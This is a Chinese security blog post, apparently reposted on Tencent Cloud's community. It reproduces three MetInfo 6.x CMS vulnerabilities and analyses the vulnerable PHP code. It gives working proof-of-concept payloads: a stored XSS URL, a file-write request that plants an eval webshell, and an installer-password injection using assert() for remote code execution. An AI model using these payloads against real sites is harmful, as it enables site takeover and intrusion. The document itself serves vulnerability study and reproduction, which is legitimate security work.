Loading [MathJax]/jax/output/CommonHTML/config.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
社区首页 >专栏 >Metinfo6.0.0-6.1.3多个CVE漏洞复现

Metinfo6.0.0-6.1.3多个CVE漏洞复现

作者头像
墙角睡大觉
发布于 2019-09-24 09:26:25
发布于 2019-09-24 09:26:25
2.4K0
举报

根据seebug等相关网站、博客文章进行漏洞复现。

0X1 环境搭建

下载Metinfo6.0.0版本

Centos/83端口

访问环境:

0X2 XSS漏洞

2018年12月27日,Metinfo被爆出存在存储型跨站脚本漏洞,远程攻击者无需登录可插入恶意代码,管理员在后台管理时即可触发。该XSS漏洞引起的原因是变量覆盖.

影响范围及利用条件

Metinfo 6.x (6.0.0-6.1.3)

无需登录,知晓后台登陆地址。

查看admin/login/login_check.php文件,第12行代码,$url_array数组中某个元素被赋值给$turefile,经过条件判断后赋值给$met_adminfile,随后经过authcode方法加密后再赋值给$truefile。最后执行update SQL操作,将之前加密后的字符串插入数据库

代码第7行包含了/admin/include/common.inc.php,跟进common.inc.php。在代码第10行发现变量$url_array被赋值,发现$url_array是以后台绝对路径分割而成的数组,而后台路径是安装时就确定的。在commin.inc.php,在代码77-82行,这是一个典型的对输入参数名进行变量注册的循环,并且是在$url_array赋值之后,存在变量覆盖漏洞。其中,XSS的触发点位于/app/system/safe/admin/index.clss.php的doindex方法中,此方法对应着后台的【安全-安全与效率】操作。管理员在进行后台操作时,Metinfo会提前将met_config表中的数据取出,并放到全局变量$_M中;

在/app/system/safe/admin/index.clss.php 的行首调用了/app/system/include/class/load.class.php中的sys_class方法加载系统类文件,这里加载了/app/system/include/class/admin.class.php。

发现admin类继承了common类,common类的构造函数执行了load_confg_global方法加载全站配置数据。通过$localurl_admin数据最后返回到index.php,未过滤导致XSS出现:

完成的POC为:

admin/login/login_check.php?url_array[]=<script>alert(1)</script>&url_array[]=a

输入完成后点击管理员打开后台安全-安全与效率,直接触发

0X3 任意文件写入漏洞

该漏洞编号是:CVE-2018-13024。漏洞发生在

metinfo6.0.0\admin\column\save.php的column_copyconfig函数,跟进发现在:/*复制首页

*/ function Copyindx($newindx,$type){if(!file_exists($newindx)){

$oldcont="<?php\n# MetInfo Enterprise Content Management System \n# Copyright(C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved. \n\$filpy =basename(dirname(__FILE__));\n\$fmodule=$type;\nrequire_once'../include/module.php'; \nrequire_once \$module; \n# This program is an opensource system, commercial use, please consciously to purchase commerciallicense.\n# Copyright (C) MetInfo Co., Ltd. (http://www.metinfo.cn). All rightsreserved.\n?>";

$fp =fopen($newindx,w);

fputs($fp, $oldcont);

fclose($fp);

}

}

可以看到这里将$type变量直接写入了文件中,而$type变量一直可以追溯到column_copyconfig的$module变量而metinfo一个经典的伪全局变量覆盖,在metinfo6.0.0\admin\include\common.inc.php中。

foreach(array('_COOKIE','_POST', '_GET') as $_request) { foreach($$_request as $_key => $_value) {

$_key{0} != '_' && $$_key =daddslashes($_value,0,0,1);

$_M['form'][$_key]=daddslashes($_value,0,0,1);

}

}

这样我们可以通过传入get参数,覆盖$module变量,导致任意文件写入。

管理员身份登录后,访问完整的POC:

http://192.168.0.107:83/admin/column/save.php?name=123&action=editor&foldername=upload&module=22;@eval($_POST[a]);/*

菜刀连接upload目录下的index.php文件

0x4 任意代码注入

在注册文件夹install中的首页index.php中,也就是安装文件的首页:

对于填写的信息没有做过滤,很多的cms都是类似的结果。我们在安装过程中,在密码位置填写

pass = "*/assert($_REQUEST[a])/*"拼接之后代码为:

<?php

/*

con_db_host = "localhost" con_db_port = "3306"con_db_id = "root" con_db_pass = ""*/assert($_REQUEST[a]);/*""con_db_name = "metinfo" tablepre = "met_" db_charset ="utf8";

*/

?>

接着访问config/config_db.php文件即可造成注入利用

http://127.0.0.1:88/MetInfo6.0.0/config/config_db.php?a=phpinfo();

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2019-01-20,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 安全漏洞环境学习 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
Metinfo 6.1.3 前台XSS漏洞分析 CVE-2018-20486
最近一直在刷这个cms的漏洞,主要是为了让自己维持一点代码量,不至于生疏,好久没有都没有大块的时间做安全了,和自己的精力有关,也和自己的心态有关,不管怎样,还是要抽时间维持一下自己的爱好,日子不能过的太爽,分析别人已经发出来的CVE,同时也是给自己找点事情做。 每个CMS都有自己的传值的方式,tp5系列远程代码执行漏洞也是这样出来的,metinfo的漏洞主要和它的变量覆盖有关。 同时也说说自己的漏洞观点,没有一个系统是安全的,如果是,只不过漏洞还没有被挖掘出来。 和以前一样的节奏,如果只是想复现一下这个漏洞,直接看漏洞的利用方式,漏洞的细节不用看。 以下是历史版本和最新版本的下载地址:
用户5878089
2019/07/25
7470
Metinfo 6.1.3 前台XSS漏洞分析  CVE-2018-20486
Metinfo 6.0.0 后台getshell 漏洞分析 CVE-2018-13024
前言 最近看代码看的头疼,主要是想通过代码审计来提高自己对一些cms模块设计的理解,然后提高自己阅读代码的速度。 只是菜?一个,大牛不要喷我。 metinfo 6.0.0 有很多漏洞,但是从官网上下载
用户5878089
2019/07/25
2.2K0
Metinfo 6.0.0  后台getshell 漏洞分析  CVE-2018-13024
Metinfo 6.1.3 后台XSS漏洞分析 CVE-2018-19835
学习使我快乐 没啥事干,还是好好学习吧 最近代码审计的比较多一点,简单给自己找点事干而已 metinfo6.0.0的漏洞分析了一堆,其实主要还是和它的传递参数的方式有关系,可以直接变量覆盖 没有经过特殊的过滤 以后的代码审计 还是先放一些POC 不需要分析漏洞细节的人可以直接拿去使用就好
用户5878089
2019/07/25
5710
Metinfo 6.1.3 后台XSS漏洞分析  CVE-2018-19835
MetInfo 6.0.0反馈管理页面存储XSS(CVE-2018-7721)分析
说明:MetInfo 6.0.0中的跨站点脚本(XSS)漏洞允许远程攻击者注入任意Web脚本或HTML
用户5878089
2019/07/25
7500
MetInfo 6.0.0反馈管理页面存储XSS(CVE-2018-7721)分析
代码审计 | 记一次PHP入门代码审计
可以看到没有过滤就直接带入查询了而且还写出报错,这里就可以使用报错注入 payload
HACK学习
2021/07/21
9990
finecms分析
在过去的一段时间里,我对FineCMS公益版进行了一波比较详尽的审计,我们找到了包括SQL注入、php代码执行、反射性XSS、任意url跳转等前台漏洞,其中部分漏洞危害巨大。
LoRexxar
2023/02/21
5550
finecms分析
DedeCMS v5.8.1_beta未授权远程命令执行漏洞分析
深信服公众号前几天发了Dedecms未授权RCE的漏洞通告。地址是这个: 【漏洞通告】DedeCMS未授权远程命令执行漏洞
Deen_
2021/11/12
4.3K0
DedeCMS v5.8.1_beta未授权远程命令执行漏洞分析
蝉知 CMS5.6 反射型 XSS 审计复现过程分享
最近在深入学习反射 XSS 时遇到蝉知 CMS5.6 反射型 XSS 这个案列,乍一看网上的漏洞介绍少之又少,也没有详细的审计复现流程。虽然是 17 年的漏洞了,不巧本人正是一个喜欢钻研的人。这个 CMS 引起我极大的兴趣。在基本没有开发经验的前提下,目前只对 MVC 有一点很浅显的了解后我打算啃下这块硬骨头,并且这也是我第一个较完整的审计复现的一个 CMS,前前后后用了接近 3 天的时间才差不多搞懂触发的流程,对我来说可以说是非常艰难了,幸运的是我还是啃了下来。
信安之路
2019/09/25
1.3K0
蝉知 CMS5.6 反射型 XSS 审计复现过程分享
MetInfo 任意文件读取漏洞的修复与绕过
MetInfo是一套使用PHP和Mysql开发的内容管理系统。 MetInfo 6.0.0~6.1.0版本中的 old_thumb.class.php文件存在任意文件读取漏洞。攻击者可利用漏洞读取网站上的敏感文件。
逍遥子大表哥
2021/12/17
2.1K0
MetInfo 任意文件读取漏洞的修复与绕过
MetInfo 最新版代码审计漏洞合集
最近想给 X 天贡献点插件,时常会去留意 seebug 的最新漏洞列表,发现最近 MetInfo 的漏洞上座率蛮高的,就挑它来代码审计了一波。
信安之路
2018/08/27
1.9K0
MetInfo 最新版代码审计漏洞合集
MetInfo最新网站漏洞如何修复以及网站安全防护
metinfo漏洞于2018年10月20号被爆出存在sql注入漏洞,可以直接拿到网站管理员的权限,网站漏洞影响范围较广,包括目前最新的metinfo版本都会受到该漏洞的攻击,该metinfo漏洞产生的主要原因是可以绕过metinfo的安全过滤函数,导致可以直接插入恶意的sql注入语句执行到网站的后端里去,在数据库里执行管理员操作的一些功能,甚至可以直接sql注入到首页文件index.php去获取到管理员的账号密码,进而登录后台去拿到整个网站的权限。
技术分享达人
2018/11/26
1.3K0
DEDECMS织梦修改include和plus重命名防漏洞防篡改防挂马
织梦dedecms是站长使用得比较多的一个建站开源程序,正因如此,也是被被入侵挂马比较多的程序。下面就来跟大家说一下怎么重新命名dedecms的include文件夹以及plus文件夹来提高网站的安全性,减少被黑客软件扫描到漏洞的概率。 dedecms的漏洞主要集中在data、include、plus、dede、member几个文件夹中的php文件里,对于data这个文件夹我们可以把它移到网站的根目录外,dede可以冲命名,member可以删掉,一般用不着,special专题功能 install安装程序(必
米米素材网
2022/07/21
2.9K0
DEDECMS织梦修改include和plus重命名防漏洞防篡改防挂马
通读审计之AACMS
其实没什么好说的,该cms不是主流的cms,但是感觉该cms是一篇很好的MVC框架的例子,故记录下来。给大家分享一下自己代码审计的经验。
FB客服
2020/03/25
6810
Discuz二次开发基本知识总结
一) Discuz!的文件系统目录 注:想搞DZ开发,就得弄懂DZ中每个文件的功能。 a) Admin:后台管理功能模块 b) Api:DZ系统与其它系统之间接口程序 c) Archiver:DZ中,用以搜索引擎优化的无图版 d) Attachments:DZ中 ,用户上传附件的存放目录 e) Customavatars:DZ中,用户自定义头像的目录 f) Forumdata:DZ缓存数据的存放目录 g) Images:DZ模板中的图片存放目录 h) Include:DZ常用函数库,基本功能模块目录 i) Ipdata:DZ统计IP来路用的数据 j) Plugins:DZ插件信息的存放目录 k) Templates:DZ模板文件的存放目录 l) Wap:DZ无线,Wap程序处理目录
全栈程序员站长
2022/07/21
2.8K0
通过DedeCMS学习php代码审计
织梦(DedeCms)也是一个国产内容管理系统,曾经爆出过众多漏洞,甚至还有人开发了dedecms漏洞一键扫描器
FB客服
2021/08/24
21.8K0
搭建dedecms漏洞靶场练习环境
本文将对dedecms(织梦cms)所存在的漏洞进行分析和复现,因为代码审计较弱,代码这一块的分析借鉴了一些大佬们的思想,在这里对大佬们表示衷心的感谢。
HACK学习
2021/06/24
12.3K1
搭建dedecms漏洞靶场练习环境
网站漏洞检测对php注入漏洞防护建议
近日,我们SINE安全对metinfo进行网站安全检测发现,metinfo米拓建站系统存在高危的sql注入漏洞,攻击者可以利用该漏洞对网站的代码进行sql注入攻击,伪造恶意的sql非法语句,对网站的数据库,以及后端服务器进行攻击,该metinfo漏洞影响版本较为广泛,metinfo6.1.0版本,metinfo 6.1.3版本,metinfo 6.2.0都会受到该网站漏洞的攻击。
技术分享达人
2019/04/08
2.9K0
小白的代码审计初始之路
代码审计是在一个编程中对源代码旨在发现错误、安全漏洞或违反编程约定的项目。 说人话就是找它这些代码中可能存在问题的地方,然后看它是否真的存在漏洞。(博主小白,可能存在问题,请见谅)
用户9691112
2023/05/18
6760
小白的代码审计初始之路
MetInfo 任意文件读取漏洞的修复与绕过
404实验室内部的WAM(Web应用监控程序,文末有关于WAM的介绍)监控到 MetInfo 版本更新,并且自动diff了文件,从diff上来看,应该是修复了一个任意文件读取漏洞,但是没有修复完全,导致还可以被绕过,本文就是记录这个漏洞的修复与绕过的过程。
Seebug漏洞平台
2018/09/30
1.4K0
MetInfo 任意文件读取漏洞的修复与绕过
实战技巧 | 知其代码方可审计
终于来到了代码审计篇章。希望看了朋友有所收获,我们通常把代码审计分为黑盒和白盒,我们一般结合起来用。
辞令
2020/09/17
1.7K0
实战技巧 | 知其代码方可审计
相关推荐
Metinfo 6.1.3 前台XSS漏洞分析 CVE-2018-20486
更多 >
领券
社区富文本编辑器全新改版!诚邀体验~
全新交互,全新视觉,新增快捷键、悬浮工具栏、高亮块等功能并同时优化现有功能,全面提升创作效率和体验
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
查看详情【社区公告】 技术创作特训营有奖征文